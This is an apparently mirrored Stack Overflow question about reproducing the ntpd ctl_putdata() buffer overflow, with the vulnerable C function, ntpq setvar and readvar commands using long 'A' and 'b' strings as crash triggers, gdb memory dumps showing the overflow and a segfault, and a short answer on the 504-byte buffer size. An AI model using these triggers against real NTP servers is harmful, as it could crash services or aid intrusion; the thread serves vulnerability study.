NTP bufferoverflow in ctl_putdata()

0

After reading this:

http://googleprojectzero.blogspot.de/2015/01/finding-and-exploiting-ntpd.html

The Bug

The most severe bug that turned out to be exploitable on OS X Mavericks is a buffer overflow in the code which handles control packets. Control mode responses are fragmented if they exceed the size of the buffer used to store them, as implemented in the following function:

static void
ctl_putdata(
  const char *dp,
  unsigned int dlen,
  int bin   /* set to 1 when data is binary */
  )
{
  //[...]

   /*
    * Save room for trailing junk
    */
   if (dlen + overhead + datapt > dataend) {
     /*
      * Not enough room in this one, flush it out.
      */
    ctl_flushpkt(CTL_MORE);
   }
   memmove((char *)datapt, dp, (unsigned)dlen);
   datapt += dlen;
   datalinelen += dlen;
}

As you can see, if the data to be written doesn't fit into the remaining buffer space ctl_flushpkt() is called, which will send out the current packet and reset the datapt to point to the beginning of the buffer. However, memmove will be called in any case and if dlen is bigger than the total buffer size it will overflow the buffer.


Some basics:

I spent long time to understand it, so here are my findings.

To overflow a buffer a long var needs to be set and than read, in my tests around 1000 chars did the trick. I did set it in a file config and than read:

/etc/ntp.conf

setvar a = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

:rv 0 a

It overflows.

(gdb) x/400x 0x684b0c
0x684b0c <rpkt+12>: 0x41413d61  0x41414141  0x41414141  0x41414141
0x684b1c <rpkt+28>: 0x41414141  0x41414141  0x41414141  0x41414141
0x684b2c <rpkt+44>: 0x41414141  0x41414141  0x41414141  0x41414141
0x684b3c <rpkt+60>: 0x41414141  0x41414141  0x41414141  0x41414141
0x684b4c <rpkt+76>: 0x41414141  0x41414141  0x41414141  0x41414141
0x684b5c <rpkt+92>: 0x41414141  0x41414141  0x41414141  0x41414141
0x684b6c <rpkt+108>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684b7c <rpkt+124>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684b8c <rpkt+140>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684b9c <rpkt+156>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684bac <rpkt+172>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684bbc <rpkt+188>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684bcc <rpkt+204>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684bdc <rpkt+220>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684bec <rpkt+236>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684bfc <rpkt+252>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684c0c <rpkt+268>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684c1c <rpkt+284>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684c2c <rpkt+300>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684c3c <rpkt+316>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684c4c <rpkt+332>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684c5c <rpkt+348>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684c6c <rpkt+364>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684c7c <rpkt+380>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684c8c <rpkt+396>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684c9c <rpkt+412>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684cac <rpkt+428>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684cbc <rpkt+444>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684ccc <rpkt+460>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684cdc <rpkt+476>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684cec <rpkt+492>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684cfc <rpkt+508>:    0x41414141  0x41414141  0x41414141  0x41414141
0x684d0c:   0x41414141  0x41414141  0x41414141  0x41414141
0x684d1c:   0x41414141  0x41414141  0x41414141  0x41414141
0x684d2c <utsnamebuf+12>:   0x41414141  0x41414141  0x41414141  0x41414141
0x684d3c <utsnamebuf+28>:   0x41414141  0x41414141  0x41414141  0x41414141
0x684d4c <utsnamebuf+44>:   0x41414141  0x41414141  0x41414141  0x41414141
0x684d5c <utsnamebuf+60>:   0x41414141  0x41414141  0x41414141  0x41414141
0x684d6c <utsnamebuf+76>:   0x41414141  0x41414141  0x41414141  0x41414141
0x684d7c <utsnamebuf+92>:   0x41414141  0x41414141  0x41414141  0x41414141
---Type <return> to continue, or q <return> to quit---
0x684d8c <utsnamebuf+108>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684d9c <utsnamebuf+124>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684dac <utsnamebuf+140>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684dbc <utsnamebuf+156>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684dcc <utsnamebuf+172>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684ddc <utsnamebuf+188>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684dec <utsnamebuf+204>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684dfc <utsnamebuf+220>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684e0c <utsnamebuf+236>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684e1c <utsnamebuf+252>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684e2c <utsnamebuf+268>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684e3c <utsnamebuf+284>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684e4c <utsnamebuf+300>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684e5c <utsnamebuf+316>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684e6c <utsnamebuf+332>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684e7c <utsnamebuf+348>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684e8c <utsnamebuf+364>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684e9c <utsnamebuf+380>:  0x41414141  0x41414141  0x41414141  0x41414141
0x684eac <ext_sys_var+4>:   0x41414141  0x41414141  0x41414141  0x41414141
0x684ebc <filegen_registry+4>:  0x00000000  0x00000000  0x00000000  0x00000000
0x684ecc <config_timer>:    0x00000000  0x00000000  0x00000000  0x00000000
0x684edc:   0x00000000  0x00000000  0x00000000  0x00000000
0x684eec:   0x00000000  0x00000000  0x00000000  0x00000000
0x684efc:   0x00000000  0x00000001  0x00000000  0x8749597e

Program received signal SIGSEGV, Segmentation fault.
read_variables (rbufp=<optimized out>, restrict_mask=<optimized out>) at ntp_control.c:2300
2300                for (i = 0; ext_sys_var &&

However I want to set it via control packet

:config setvar var = AAAAAAA

Setting long value doesn't help, since Control Packets requests cannot be fragmented. But setting long name and reading all variables on the server, you can make a Control Packet response big enough to be fragmented.

You can read all variables on the server with

:rv 0 sys_var_list

I tried to set a long variable name in order to trigger overflow.

:config setvar bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb = 1

Than read it via

:rv 0 sys_var_list

(gdb) x/400x  0x684b0c
0x684b0c <rpkt+12>: 0x5f737973  0x5f726176  0x7473696c  0x656c223d
0x684b1c <rpkt+28>: 0x732c7061  0x74617274  0x702c6d75  0x69636572
0x684b2c <rpkt+44>: 0x6e6f6973  0x6f6f722c  0x6c656474  0x722c7961
0x684b3c <rpkt+60>: 0x64746f6f  0x2c707369  0x69666572  0x65722c64
0x684b4c <rpkt+76>: 0x6d697466  0x63742c65  0x6565702c  0x666f2c72
0x684b5c <rpkt+92>: 0x74657366  0x6572662c  0x6e657571  0x732c7963
0x684b6c <rpkt+108>:    0x6a5f7379  0x65747469  0x6c632c72  0x696a5f6b
0x684b7c <rpkt+124>:    0x72657474  0x6f6c632c  0x702c6b63  0x65636f72
0x684b8c <rpkt+140>:    0x726f7373  0x7379732c  0x2c6d6574  0x73726576
0x684b9c <rpkt+156>:    0x2c6e6f69  0x5f6b6c63  0x646e6177  0x732c7265
0x684bac <rpkt+172>:    0x765f7379  0x6c5f7261  0x2c747369  0x2c696174
0x684bbc <rpkt+188>:    0x7061656c  0x2c636573  0x69707865  0x6d2c65---Type <return> to continue, or q <return> to quit---
72
0x684bcc <rpkt+204>:    0x63746e69  0x6561642c  0x5f6e6f6d  0x73726576
0x684bdc <rpkt+220>:    0x2c6e6f69  0x74746573  0x6f656d69  0x79616466
0x684bec <rpkt+236>:    0x6363612c  0x5f737365  0x696c6f70  0x612c7963
0x684bfc <rpkt+252>:    0x6262622c  0x62626262  0x62626262  0x62626262
0x684c0c <rpkt+268>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684c1c <rpkt+284>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684c2c <rpkt+300>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684c3c <rpkt+316>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684c4c <rpkt+332>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684c5c <rpkt+348>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684c6c <rpkt+364>:    0x62626262  0x62626262  0x62626262  0x62626262
---Type <return> to continue, or q <return> to quit---
0x684c7c <rpkt+380>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684c8c <rpkt+396>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684c9c <rpkt+412>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684cac <rpkt+428>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684cbc <rpkt+444>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684ccc <rpkt+460>:    0x62626262  0x62626262  0x62626262  0x62626262
0x684cdc <rpkt+476>:    0x0a0d2262  0x00000000  0x00000000  0x00000000
0x684cec <rpkt+492>:    0x00000000  0x00000000  0x00000000  0x00000000
0x684cfc <rpkt+508>:    0x00000000  0x00000000  0x00000401  0x00000000
0x684d0c:   0x00000000  0x00000000  0x00000000  0x00000000
0x684d1c:   0x00000000  0x756e694c  0x00000078  0x00000000
0x684d2c <utsnamebuf+12>:   0x00000000  0x00000000  0x00000000  0x00000000
0x684d3c <utsnamebuf+28>:   0x00000000  0x00000000  0x00000000  ---Type <return> to continue, or q <return> to quit---
0x00000000
0x684d4c <utsnamebuf+44>:   0x00000000  0x00000000  0x00000000  0x00000000

I managed to get the biggest packet to be of dlen 466, but the buffer is 504 bytes

My question is:

  1. How did the author overflow this buffer?

It is hard to explain it here, but I hope you got the point.

Thanks,

c
exploit
asked on Stack Overflow Feb 12, 2016 by dev • edited Feb 14, 2016 by Jongware

1 Answer

0

It's size is as the size of u_char pointer. But it is pointing to an array of size 480 + MAX_MAC_LEN = 480+(6 * sizeof(u_int32)) = 480+6*4=504 bytes as it is assigned with the address of the data field of ntp_control struct.

answered on Stack Overflow Feb 12, 2016 by Eugene Sh.

User contributions licensed under CC BY-SA 3.0